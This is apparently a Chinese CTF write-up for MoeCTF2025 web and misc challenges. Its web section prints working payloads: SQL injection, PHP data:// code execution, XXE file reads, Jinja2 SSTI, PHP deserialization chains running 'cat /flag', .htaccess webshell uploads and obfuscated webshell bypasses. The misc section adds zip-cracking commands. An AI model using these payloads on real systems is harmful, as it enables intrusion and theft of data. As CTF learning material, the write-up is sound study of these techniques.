MoeCTF2025

MoeCTF2025

MoeCTF2025

web

0

直接放到浏览器的控制台里

1758550831599-7c5fa518-0347-43c8-9793-72a3015599c2.png

第一章

直接查看页面源码,找到一个jsp文件,里面直接就有flag

第二章

查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag。

1758680557049-5c7692f5-6c69-4000-9a1c-84545366903c.png

第三章

根据提示修改level和manifestation的值得到flag

1758680890685-e394d37a-e5b5-40c0-a411-b3b371f74492.png

注意这里返回了一个小说解压缩密码

1758681023381-f3ccf6e9-bffb-464e-b0d7-b4881ebd7fe5.png

cBrtGRQSKeLvty0@lKyFpU@Z

发现可以解压一个03.zip,看到里面的小说。

第五章

…/ 返回上层目录找到flag

1758682011721-6510df8e-8f7c-42d3-a7c4-1efd62768d4f.png

第十章

提示flag在flag.txt中,直接抓包访问/flag.txt

1758682593861-546a6ce8-783a-4c5c-b7d3-57d735c2e229.png

Moe笑传之猜猜爆

这里看到页面的js文件中随机生成的随机数randomNumber,判断用户输入数字是否等于它,如果等于则从后端传回flag。

1758700278279-001f6d69-c5ba-4e86-b416-886392a6315c.png

直接控制台输入randomNumber,返回它的值,再输入就行了。

1758700261876-80454f89-3e34-4fd1-9806-93359b7ea6cc.png

第四章

第一关

1758706710299-2fde6069-4d35-4d80-ab6e-f95738d10912.png

bW9lY3Rme0Mw

第二关

1758706793346-65cdb753-3013-4f6d-afcc-73cafad8ebb2.png

bjZyNDd1MTQ3

第三关

本地访问:X-Forwarded-For:127.0.0.1

1758706007972-0082d7fc-38b0-499e-83ef-4b8fc085d202.png

MTBuNV95MHVy

第四关

1758706094675-919d271b-966b-4eab-ab1e-927b3c3c806c.png X2g3N1BfbDN2

第五关

1758706392559-ebc5d31a-b123-4cec-b1e1-3aac5346470e.png

M2xfMTVfcjM0

第六关

1758706501531-aadb3e03-6575-467d-ae8c-d35ddf497ac6.png

bGx5X2gxOWgh

第七关

1758706630066-3e283b52-37e0-4de5-8313-b0edb17e778a.png

fQ==

集合起来进行base64解密

1758709329825-4a47e1f2-437f-4513-8ccb-16a9cbc7b129.png

第六章

sql注入

输入1’or’1’='1

1758709617470-ddf3153c-33cf-4ac8-9de1-49cc47fa2416.png

第七章

从规定爬虫不允许扫描的文件推出要访问robots.txt

1758709785189-7b609061-7b44-4283-bc6e-b43b3da58eff.png

1758710085558-28796035-757a-4d34-aaaa-3ef6c3c019b4.png

md5碰撞

第九章

存在命令注入漏洞

1758713488381-af69515e-6916-4faa-839f-4fc4d9d086bf.png

找到flag

1758714080427-504f130d-7ba1-4729-9b13-ae032fae98a9.png

第十二章

蚁剑一句话木马连接

1758714987139-da04a461-15ff-440e-8233-d9a7e83c5ab5.png

第十七章

php反序列化,原理在于__destruct 这个魔术方法会在对象被销毁时自动调用

我们可以像这样先对php进行序列化,让其在反序列的时候执行我们需要的恶意代码。

1758721389108-8388ec1f-da86-4c3b-b6d9-800397c933c8.png

先ls /,查看当前目录

1758721252161-24b84bda-bd1e-4583-9761-3705f4193586.png

发现一个flag文件,cat /flag打开

1758721305787-d74975cf-3469-4988-81d7-509502b8e12a.png

摸金偶遇FLAG,拼尽全力难战胜

题目是在三秒内破解9位数的摩斯密码,手算当然是不可能的,要写脚本

(() => {
    const TICK = 120;          // 点数字间隔

    /* 1. 劫持 fetch(/get_challenge) */
    const _fetch = window.fetch;
    window.fetch = function (...args) {
        return _fetch.apply(this, args).then(resp => {
            const url = String(args[0]);
            if (url.includes('/get_challenge')) {
                resp.clone().json().then(d => {
                    if (d.numbers?.length === 9) {
                        console.log('[+] 拿到 numbers:', d.numbers.join(''));
                        autoClick(d.numbers);
                    }
                });
            }
            return resp;
        });
    };



    function autoClick(arr) {
        let i = 0;
        const next = () => {
            if (i === 9) { console.log('[+] 数字点击完成'); return; }
            const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
                        .find(b => b.dataset.value == arr[i]);
            if (btn) btn.click();
            i++;
            setTimeout(next, TICK);
        };
        next();
    }

    console.log('[+] 劫持已注入,点“开始挑战”即可');
})();

ai写的脚本,直接放进控制台就行了,再按开始按钮,这里注意要把浏览器的隐私端口关掉,不然会把verify的请求拦截。

1758727266568-b15687f5-3060-4cc7-b055-3b8c5da9b112.png

第十六章

首先看一下它给的源码

1759567290681-39a92e9a-1c7e-48cb-80a6-e539e0e86261.png

这里看到它把flag发到了一个随机命名的flag-*.txt格式的文件中

结合index页面中的会在后面自动加上.php,所以这里优先使用

data://包装器执行代码的方法

查看根目录

/?file=data://text/plain,<?php system('ls -la /');?>

1759566275566-5853e043-207e-44ef-accf-d25a4ddda2a2.png

flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt

读取此文件

/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>

1759566610066-92df74cb-1479-4b11-9d07-fa9d1017623e.png

第一章 神秘的手镯_revenge

根据备份文件的常用格式下载备份文件

1759568494891-ee518f1c-240c-48a6-a5a5-ee01c1179a68.png

因为页面限制不能粘贴,所以我们这里直接控制台

document.getElementById('passwordInput').value = '你要粘贴的万言咒内容';

再因为要发送500次,我们直接利用bp爆破发送个500次

1759569212986-9c39a5e2-afb1-4baf-83d7-f99eb0b11035.png

第十三章

嗯,文件上传题

1759569716042-42f5ae87-a2a5-4767-8184-26d18d40e9ea.png

这都已经把限制写出来了。

开始翻笔记,试图唤醒沉睡的记忆

先上传一个正常的jpg文件,拦截之后修改,把它的hex头留下来(绕过FFD8FF),这道题有没有jpg后缀都无所谓(x.php也能行),主要是好像不能一句话木马连接,只能phpinfo显示它的php环境的完整配置,再在里面ctr+f搜索flag

1759571779786-b398af0c-091f-4b9a-849e-61352e789530.png

1759571818678-1badcf36-75ca-4339-93d7-097d0f4e79cf.png

第十章 天机符阵_revenge

一句话总结:简单的xxe

随便输入,它会显示类似于这样的输出

1759573196356-a36dbc66-8ddb-4c8e-9802-f1514727b101.png

  • DOMDocument::loadXML() - 后端使用XML解析器
  • Start tag expected, '&lt;' not found - 期望XML格式但输入不是有效的XML

说明它期望我们输入的是xml格式的代码,再加上题目中提示的flag.txt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
    <解析>&xxe;</解析>
</contract>

1759573104600-c5d5d0bd-b329-490a-addb-9b58b3000f3e.png

第十四章 御神关·补天玉碑

一句话总结:又是一道文件上传,这次的重点在于**.htaccess文件**

简单介绍一下.htaccess是(Apache服务器的目录级配置文件,可以覆盖主服务器的配置,常用于URL重写、访问控制、MIME类型设置等),常见组合就是

1759574381049-32a03c11-ea86-4d81-94ae-1c7138095a5d.png

好了,看题目

1759573683072-c615d4e1-8560-4bbc-b00e-58dbeb495f8b.png

1759574224728-48555734-7755-4b6c-a87a-203b18460074.png

常规先上传一个带着恶意命令的jpg文件

1759574162056-7bc368d3-e436-424a-a2df-0b2a4f17d04c.png

上传一个.htaccess文件,这里的作用主要是讲1.jpg当作php执行,这样就会执行其中的php恶意代码

1759573861008-a44e2aff-335e-4939-af56-81930ba7bfda.png

18 第十八章 万卷诡阁·功法连环

一句话总结:简单的php反序列化

1759574612918-79bc953c-949a-42b2-9465-742d06e468e1.png

1759576499532-772e1e62-0593-42e0-b991-c8b908f86e1d.png

1759576518587-be0663ac-a60f-4520-a348-899db572ea20.png

私有属性在序列化时包含空字节%00,这些字符在URL中需要编码,否则会被错误解析。

19 第十九章 星穹真相·补天归源

稍微复杂一点的php反序列化

1759579828818-33fc1736-a576-4bb8-9f44-60feecd88a5b.png

PersonC中的$name($age)是一个很好的代码执行点,所以我们要在此构造system("cat /flag")

简单写一下

auto-orient,1

因为$this->age$age没啥关系,所以这里只要$this->name里没有“flag”就行了

20 第二十章 幽冥血海·幻语心魔

一句话总结:SSTI,服务端模板注入

它给了一个php文件

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = render_template_string(f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
            </div>
            """)
    else:
        login_msg = ""

    return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

这里的代码直接将用户输入的 username 通过 f-string 插入到模板字符串中,然后使用 render_template_string() 渲染。

所以直接在username中读取文件

?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法,内层是 Python 对象操作语法。

1759581573534-a70e5c49-0da7-4b44-afb2-df5d471b018f.png

08 第八章 天衍真言,星图显圣

省流:sql注入

1759584623029-9796c9a7-ae40-428c-8519-c142b9ba7995.png

获取列数

1759584022557-71665a61-7f7b-465f-b469-0bd81c8dc08d.png

说明查询列数为2,且第一列是可见的

获取数据库名

1759584164476-717b4314-db02-4428-be02-8a2f116bcb97.png

获取表名

1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -

1759584554509-32cda636-bb43-4d2d-8e8b-dfdb694bb9eb.png

获取列名

1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -

1759584833056-f99c1551-d9d6-464f-85b6-de2a12d8dfd7.png

获取值

1' UNION SELECT value, 1 FROM flag-- -

1759585166755-05b2a432-87ba-46ba-a760-2b8d884f178a.png

11 第十一章 千机变·破妄之眼

首先这里提示GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。

那么就是脚本爆破,找到长度不一样的响应体返回

import requests
from itertools import permutations
import time

# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/"  # 替换成实际地址

# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]

print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")

# 目标响应长度
TARGET_LENGTH = 19704

found = False

for i, param_name in enumerate(all_permutations, 1):
    # 构造URL:参数名=参数值
    params = {param_name: param_name}

    try:
        response = requests.get(BASE_URL, params=params, timeout=5)

        # 打印进度
        print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")

        # 检查响应长度是否为目标长度
        if len(response.text) == TARGET_LENGTH:
            print("\n" + "=" * 50)
            print(f"找到目标!响应长度为 {TARGET_LENGTH}")
            print(f"成功的URL: {response.url}")
            print("-" * 30)
            print("响应体内容:")
            print(response.text)
            print("=" * 50)
            found = True
            break  # 找到后立即退出循环

        # 避免请求过快被屏蔽
        time.sleep(0.1)

    except requests.RequestException as e:
        print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")

print("\n爆破完成!")
if not found:
    print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")

1759589366234-b5135900-48e3-444f-ad9e-dd5aa6bac714.png

发现一个find.php,发现在里面可以访问任意路径,

访问./flag时显示(flag就在这了,看不到吗,是老弟境界不够吧)

那么就是php://filter/convert.base64-encode/resource=./flag.php

因为此文件是一个php文件,解释器会自动执行它,所以返回的并不是一个源文件,而是一个执行结果,所以我们如果要看到php文件的源码就需要php://filter/convert.base64-encode/resource=读取文件之后进行编码再交给php解释器,这样我们解码之后就能看到完整的源码了。

1759590868388-b1bd1403-c82a-4a79-8f48-ef969bb09012.png

15 第十五章 归真关·竞时净魔

感觉是文件上传+条件竞争题

但是我上传+访问,访问的时候有时候显示的是200,但是里面的内容仍然是报错的。

19 第十九章_revenge

省流:更加复杂的php反序列化

<?php
// 定义与目标应用同名的空类(仅为生成同名序列化对象)

class Person
{
    public $name;
    public $id;
    public $age;
} 
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}

// 构造链
$a = new PersonA();
$a->name = null;            // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id   = "check";         // PersonA->__destruct 会调用 PersonC->check(...)
$a->age  = "cat /flag";     // 要执行的命令(会被传给 check)

$b = new PersonB();
$b->id   = $a;              // PersonB->id 指向 PersonA
$b->name = "'../flag.php'";     // 在 __invoke 中会被写入 PersonA->age(冗余但保持链一致)
$b->age  = null;

$c = new PersonC();
$c->id   = $b;              // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents";      // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age  = null;

// 生成 payload
$payload = serialize($c);

echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";

这个payload是跑得通的,再把相应的命令换一下找到flag,这里的flag在环境信息里,比如下面的

shell_exec -> /bin/cat /proc/self/environ | tr “\0” “\n” | head -n 50 ====

读取和显示服务器环境信息的

1759601461506-adbcb86d-87b5-405f-9a6b-a105286320fb.png

这是…Webshell?

可如此访问文件,但找不到flag

?shell=?><?=`/???/??? /????/????/???????.???`?>

1759643640871-5901ff7e-138c-44f7-a192-4042598d4359.png

在这篇文章中提到可以用异或的方式绕过php正则表达式的一些限制。

https://marmalade.vip/minglingzhixingphpzhengzeraoguo.htm

文章中的${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo即为${_GET}{%ff}();&%ff=phpinfo,即?shell=${_GET}{%ff}();&%ff=phpinfo

原理式${_GET}{%ff}** 会被当成一个字符串,通过对 %ff 赋值,即可变成 phpinfo ,加上括号即可调用。**


所以这里我们直接传入${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo得到flag

1761307979187-c12107e7-3cbb-4f57-86ce-1978781ad5ad.png

这是…Webshell?_revenge

这篇文章里总结得挺全面的https://forum.butian.net/share/1048

这里文件会被存储到 /tmp/phpXXXXXX 。可以通过 /???/???[@-[] 来匹配最后一个字符是大写的文件

?><?= `. /???/????????[@-[]`?>
POST /?shell=?%3E%3C?=%20`.%20/???/????????[@-[]`?%3E HTTP/1.1
Host: 127.0.0.1:34892
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 116


----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
cat /flag
----------123--

1761309021310-318a19b7-77eb-4c60-9681-3252a0ddfd07.png

misc

misc入门指北

全选文档找到一个设置成白色的字,复制出来就是flag

2048_master

打开是一个exe文件,它说合成16348有惊喜。

用Cheat Engine把方块里的值改掉。跳出flag

1758634993076-2b957dd4-1ca6-4f35-9bfd-090dd7c82f8b.png

Rush

用stegsolve工具查看每一帧,发现一个不全的二维码

1758597854959-6a807a3d-311c-470d-9e5b-14425a16abde.png

用ps工具补全左上角定位符,就可以扫出来了

1758601196843-7ee680a8-9e01-402e-a8e7-0ce65b6f408d.png

捂住一只耳

1758607239392-df264555-52b2-4f40-8473-3653027909f6.png

很明显的摩斯密码

1758607792443-95cca7f6-2fcb-49c2-9b1c-312201bfa6ef.png

ez_LSB

附件里是一个图片由于提示了像素的问题,怀疑是LSB

zsteg -a x.png

对整张 PNG 图片进行 所有已知方式的 LSB(最低有效位)隐写扫描,并输出所有可能藏有信息的地方。

1758723520263-c2734f8f-6619-454f-8a70-b4fb9a6fcf62.png

base64解码得到flag

Pyjail 0

它这里说至于 flag 的位置?你可以参考 Web 第十二章(,我们f从第十二章知道flag不在具体的文件里而是在环境变量里,所以是在linux当前的环境变量文件里,也就是

/proc/self/environ

1758793860155-34ca0af4-d57a-43cc-95d8-c4cb1a90385e.png

ez_锟斤拷???

锟斤拷 加密,可以找个在线网站直接解密

此编码产生的原因是将GBK和UTF-8编码混用了,所以将UTF-8格式的文件改成GBK格式就行。

1758794693919-e302b9cf-84a7-4761-bbd2-9bd4c8887852.png

weird_photo

说注意CRC,一眼crc宽高爆破

1758799168689-56d7e1e1-c5e9-4821-80d3-3416128c990d.png

把宽高改高一点

1758799158681-d9255784-13ca-4fc1-8277-75f1db5a5ea2.png

encrypted_pdf

发现一个被加密的pdf,ilovepdf就有pdf解密的功能,放到里面解密

1758802082368-6399f260-2938-4c0e-86d2-58535380e82d.png

查看文件,发现一串很可以的字符

1758802183234-fe872209-7d20-4030-9a74-9f62aa00b580.png

找到flag

1758802216950-56f97bfa-1f38-4fd6-9f82-74fb833e4e59.png

Pyjail 1

这里给出了它的执行代码

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    result = eval(user_input)

但是我们仍然可以通过拼接等方式绕过黑名单。

1759644605063-91731750-c0b6-4651-ac55-474e50d2f044.png

SSTV

https://blog.csdn.net/orchid_sea/article/details/138075312

1761311644043-01a03209-714f-4dd9-972b-54cf74c91614.png

Enchantment

关于流量分析相关指令的文档https://www.freebuf.com/articles/others-articles/441868.html

在流量包中发现这里上传了一个png文件

1761312075210-46861338-dbfc-41f6-a8a0-f0a066a24602.png

将此对象转储之后,得到此图片

1761312477652-039d0799-2a6e-4afe-9263-26f61440b971.png

1761312895524-73e228b4-90fe-4166-9833-201923626d3b.png

moectf{now_you_have_mastered_enchanting}

ez_ssl

题目说上传了一个 文件那就找找upload字段

1761313624858-713838cb-98b4-4f7d-8af7-bc92d900e154.png

1761314083914-d3a0605d-dc73-4d38-ad2a-5151522e8b82.png

这是一个TLS加密参数的文件,将此log文件导出后保存1761314084363-818174a3-2fa8-4044-97e7-7a0787aea0f0.png

配置首选项,再次查找flag发现上传了一个flag.zip文件

1761314059474-0691afe6-d09e-4276-8c49-5ac06d372018.png

用binwalk 将flag.zip分离出来

binwalk -e aa.zip --run-as=root

发现是一个带密码的zip文件,里面有一个flag.txt

将之前上传的flag.zip的流量转为utf-8查看,发现末尾有提示为7位纯数字

1761452793672-38910f2e-ad57-4074-82a4-fa3ebf52a297.png

这里直接爆破

1761452996010-75bb11aa-ba15-4171-aa5c-ed4533318403.png

flag.txt打开是一个OOK加密的文件,解密得到flag

1761453233098-d63007b9-8fda-4f58-aec4-c9da4b7e84e9.png

万里挑一

一句话总结:zip字典爆破+zip已知明文攻击

给了很多的文件和口令用脚本把口令跑出来放进txt里面,然后用字典进行爆破

1761454429310-8b87104b-1b27-4b87-8c1d-874b52f05626.png

得到密钥:a296a5ec1385f394e8cb

注意到有个 明文.exe 应该是提示明文攻击。明文攻击需要知道加密文件的连续的至少12字节,且加密方法需要是ZipCrypto,

而exe文件的DOS头除了最后的4个字节都是一样的。于是就可以提取出来作为明文

1761529723085-0fb83c98-068d-4af4-8a53-c9972bbca0c5.png

echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > mingwen
./bkcrack -C flag.zip -c 明文.exe -p mingwen -o 64
./bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt

1761492456055-6bf33936-b74e-44ca-a47f-a56f6ad7c184.png

1761492593636-7b8a6fd1-88d1-482c-b286-2eee772575ed.png

bkcrack常用参数:

-c 提取的密文部分\ -p 提取的明文部分\ -x 压缩包内目标文件的偏移地址 部分已知明文值\ -C 加密压缩包\ -o offset -p参数指定的明文在压缩包内目标文件的偏移量

具体参考这篇文章:https://www.freebuf.com/articles/network/255145.html

WebRepo

得到一个二维码,扫描之后得到binwalk的提示,用binwalk扫一下,发现是一个zip文件,再发现是一个.git文件

一键还原 flag.txt 到最近一次提交的状态

git log -- flag.txt
git restore --source=HEAD --staged --worktree -- flag.txt  

1761531602925-215fd952-e4ec-49e3-a56c-35a98181e5d3.png

得到flag文件打开得到flag

哈基米难没露躲

翻译网站:https://lhlnb.top/hajimi/base64

1761532262340-4ff4521c-7f33-4b19-af5d-539cae0e108d.png

1761532686824-6c352ee5-476e-4abe-b879-0214e4676c34.png

Encrypted volume

一个rar文件打开之后得到两个文件

1761575300320-77b588aa-98ba-4451-bb1f-ba1debb10727.png

但是一个文件是0KB,打开之后也是空的,那为什么有这个文件呢,答案就在rar的hex码里。

1761575362802-afe4695c-7ac5-4899-8d59-f5d26566af7c.png

这里看到在something_hide_here的后面有一个key.png,这说明这个rar文件里面隐藏了一个png文件,

用kali中的binwalk工具分离出图片

1761575494211-d4edf1ae-c7e1-4fe6-b1be-b49f17d79657.png

1761575159795-fc67b054-7ca5-46a7-8bc9-72937efcb5aa.png

发现一个二维码,用QR扫描

1761575142817-362de5b7-149c-43cb-90d3-70f0803da044.png

得到:@(s<"A3F:89x541Ux[<

然后发现解压出来的volume是常见的加密卷文件,那么这个应该就是它的密钥

这里可以用VeraCrypthttps://veracrypt.io/zh-cn/Home.html,VeraCrypt 是一款免费、开源、跨平台的磁盘加密软件,它采用可否认的加密方式,这种加密的特点是不会留任何文件头,也就是说,在特殊情况下,你甚至可以否认这是一个加密卷

下载好之后看到如下界面

1761576454830-70a0425d-2c17-4d3a-bf15-77c800ffa3f8.png

选择一个盘比如z盘,之后点击加载之后在密码框输入密钥,之后就得到一个txt文件,将其中的内容放到随波逐流里面解密,发现它是BrainFuck方式的加密,得到flag

1761576112003-be580b29-fcad-4b98-8e67-37b180980f0b.png

更新: 2025-10-28 10:52:47
原文: https://www.yuque.com/cindahy/kgl92i/wu92s8mu7a8k1elw

LICENSED UNDER CC BY-NC-SA 4.0
评论